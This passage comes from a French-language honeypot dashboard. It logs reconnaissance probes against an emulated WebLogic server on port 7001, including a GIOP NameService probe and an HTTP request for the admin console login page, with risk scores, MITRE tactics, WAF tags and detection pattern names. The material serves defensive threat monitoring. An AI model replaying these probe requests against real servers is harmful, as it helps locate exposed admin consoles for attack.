"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "GIOP\u0001\u0002\u0000\u0003\u0000\u0000\u0000\u0017\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u000bNameService",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GIOPNameService",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 2 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"weblogic_emulated"
]
}
24/07/2026 09:39:14 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
� f�T8z�ޟ���*�w��>[��--lW5 �t��o�}�S�&^���ˎ��C� i>��� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
� f�T8z�ޟ���*�w��>[��--lW5 �t��o�}�S�&^���ˎ��C�
i>��� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
� f�T8z�ޟ���*�w��>[��--lW5 �t��o�}�S�&^���ˎ��C� i>��� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.9605005655816927,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "cb072ff210cde6a36a1bad6ffa4d1941",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\tf\u0013\ufffdT8z\ufffd\u079f\ufffd\u0003\ufffd\ufffd*\ufffdw\ufffd\ufffd\u0004>[\ufffd\ufffd--lW5\u0002 \ufffdt\u0019\ufffd\ufffdo\ufffd}\ufffdS\ufffd&^\ufffd\ufffd\ufffd\u02ce\ufffd\ufffdC\ufffd\u001b\ni>\u000f\u000e\ufffd\ufffd\ufffd\u0016\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\tf\u0013\ufffdT8z\ufffd\u079f\ufffd\u0003\ufffd\ufffd*\ufffdw\ufffd\ufffd\u0004>[\ufffd\ufffd--lW5\u0002 \ufffdt\u0019\ufffd\ufffdo\ufffd}\ufffdS\ufffd&^\ufffd\ufffd\ufffd\u02ce\ufffd\ufffdC\ufffd\u001b\ni>\u000f\u000e\ufffd\ufffd\ufffd\u0016\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\tf\u0013\ufffdT8z\ufffd\u079f\ufffd\u0003\ufffd\ufffd*\ufffdw\ufffd\ufffd\u0004>[\ufffd\ufffd--lW5\u0002 \ufffdt\u0019\ufffd\ufffdo\ufffd}\ufffdS\ufffd&^\ufffd\ufffd\ufffd\u02ce\ufffd\ufffdC\ufffd\u001b\ni>\u000f\u000e\ufffd\ufffd\ufffd\u0016\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "621f694ea5e839c6ab3ab3316db9d4602d5ee66c",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\tf\u0013\ufffdT8z\ufffd\u079f\ufffd\u0003\ufffd\ufffd*\ufffdw\ufffd\ufffd\u0004>[\ufffd\ufffd--lW5\u0002 \ufffdt\u0019\ufffd\ufffdo\ufffd}\ufffdS\ufffd&^\ufffd\ufffd\ufffd\u02ce\ufffd\ufffdC\ufffd\u001b\ni>\u000f\u000e\ufffd\ufffd\ufffd\u0016\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffd\tf\ufffdT8z\ufffd\u079f\ufffd\ufffd\ufffd*\ufffdw\ufffd\ufffd>[\ufffd\ufffd--lW5 \ufffdt\ufffd\ufffdo\ufffd}\ufffdS\ufffd&^\ufffd\ufffd\ufffd\u02ce\ufffd\ufffdC\ufffd\ni>\ufffd\ufffd\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\tf\u0013\ufffdT8z\ufffd\u079f\ufffd\u0003\ufffd\ufffd*\ufffdw\ufffd\ufffd\u0004>[\ufffd\ufffd--lW5\u0002 \ufffdt\u0019\ufffd\ufffdo\ufffd}\ufffdS\ufffd&^\ufffd\ufffd\ufffd\u02ce\ufffd\ufffdC\ufffd\u001b\ni>\u000f\u000e\ufffd\ufffd\ufffd\u0016\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\tf\ufffdT8z\ufffd\u079f\ufffd\ufffd\ufffd*\ufffdw\ufffd\ufffd>[\ufffd\ufffd--lW5 \ufffdt\ufffd\ufffdo\ufffd}\ufffdS\ufffd&^\ufffd\ufffd\ufffd\u02ce\ufffd\ufffdC\ufffd\ni>\ufffd\ufffd\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:39:14 UTC
TCP
7001 · HTTP
weblogic probe
weblogic probe · via HTTP:7001 · (sonde / probe) · → /console/login/LoginForm.jsp
Élevée
Moyen · 55
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
GET /console/login/LoginForm.jsp UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201001…
Émulateur
HTTP
WAF
19
Recommandation
Investiguer
Tags
950326:rce-0
950468:nosqli-3
950470:nosqli-3
http_probe_console
Cible HTTP
GET
/console/login/LoginForm.jsp
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
7001
Chemin / cible
/console/login/LoginForm.jsp
Pourquoi cette classification : Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Corrélation +8
Risque capteur
Moyen
· 55
Confiance : Confiance 100 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0857
pat-0601
pat-0741
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
ET WebLogic console
WebLogic console path
WebLogic cluster
Probe /console/
Ligne de requête
GET /console/login/LoginForm.jsp HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /console/login/LoginForm.jsp HTTP/1.1
Host: 62.3.50.33:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0)
Requête brute (extrait)
GET /console/login/LoginForm.jsp HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 2,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "jsp",
"http_ua_hash": "526c128160b99bde962deaec266d3dfbb4fd2ce3",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "5888115b723eebf74cff3715c1e79014c6b93e9b",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 160,
"payload_entropy": 5.189404289722217,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "http",
"app_proto": "http",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 84,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.3,
"risk_breakdown": {
"waf": 84,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 55,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "9376ef86596f92774c23bf4dc5a766b01d4da8c8",
"event_fingerprint": "0bcd546adc3e0517be88d49a165ab6f8019f83ae",
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 182,
"precision_signals": [
"pat-0857",
"pat-0601",
"pat-0741"
],
"kb_rule_ids": [
"pat-0857",
"pat-0601",
"pat-0741"
],
"matched_patterns": [
"pat-0857",
"pat-0601",
"pat-0741",
"pat-0248"
],
"matched_pattern_names": [
"ET WebLogic console",
"WebLogic console path",
"WebLogic cluster",
"Probe \/console\/"
],
"pattern_ids": [
"pat-0857",
"pat-0601",
"pat-0741",
"pat-0248"
],
"confidence_breakdown": {
"waf": 84,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 55,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5b2b09a0df144ba2e29ec0938784c236",
"payload_hash": "457a34fa8281f2f87a44a8eae08275eb",
"path_pattern_hash": "787be5555f9e6e61f95410bb9176809f"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 55
},
"payload_preview": "GET \/console\/login\/LoginForm.jsp HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0)",
"method": "GET",
"path": "\/console\/login\/LoginForm.jsp",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/console\/login\/LoginForm.jsp HTTP\/1.1",
"request_sample": "GET \/console\/login\/LoginForm.jsp HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\n\r\n",
"payload_snippet": "GET \/console\/login\/LoginForm.jsp HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0)",
"evidence": {
"method": "GET",
"path": "\/console\/login\/LoginForm.jsp",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/console\/login\/LoginForm.jsp HTTP\/1.1",
"request_sample": "GET \/console\/login\/LoginForm.jsp HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\n\r\n",
"payload_snippet": "GET \/console\/login\/LoginForm.jsp HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0)",
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "fc5e817965de352b7997b47cd8643fabf6f71cc0",
"protocol_details": {
"http_method": "GET",
"http_path": "\/console\/login\/LoginForm.jsp",
"request_line": "GET \/console\/login\/LoginForm.jsp HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/console\/login\/LoginForm.jsp HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0)",
"attack_vector": "weblogic probe \u00b7 via HTTP:7001 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/console\/login\/LoginForm.jsp",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 55\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 84,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 55,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 55,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"pat-0857",
"pat-0601",
"pat-0741"
],
"tags_summary_labels_fr": [
"pat-0857",
"pat-0601",
"pat-0741"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "GET",
"http_path": "\/console\/login\/LoginForm.jsp",
"request_line": "GET \/console\/login\/LoginForm.jsp HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "weblogic probe \u00b7 via HTTP:7001 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/console\/login\/LoginForm.jsp",
"evidence_snippet": "GET \/console\/login\/LoginForm.jsp HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0)",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 84 \u00b7 Bonus corr\u00e9lation +8 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_probe_console",
"http_sensitive_path",
"net_web_probe"
]
}
24/07/2026 09:39:13 UTC
TCP
7001 · WEBLOGIC
weblogic probe
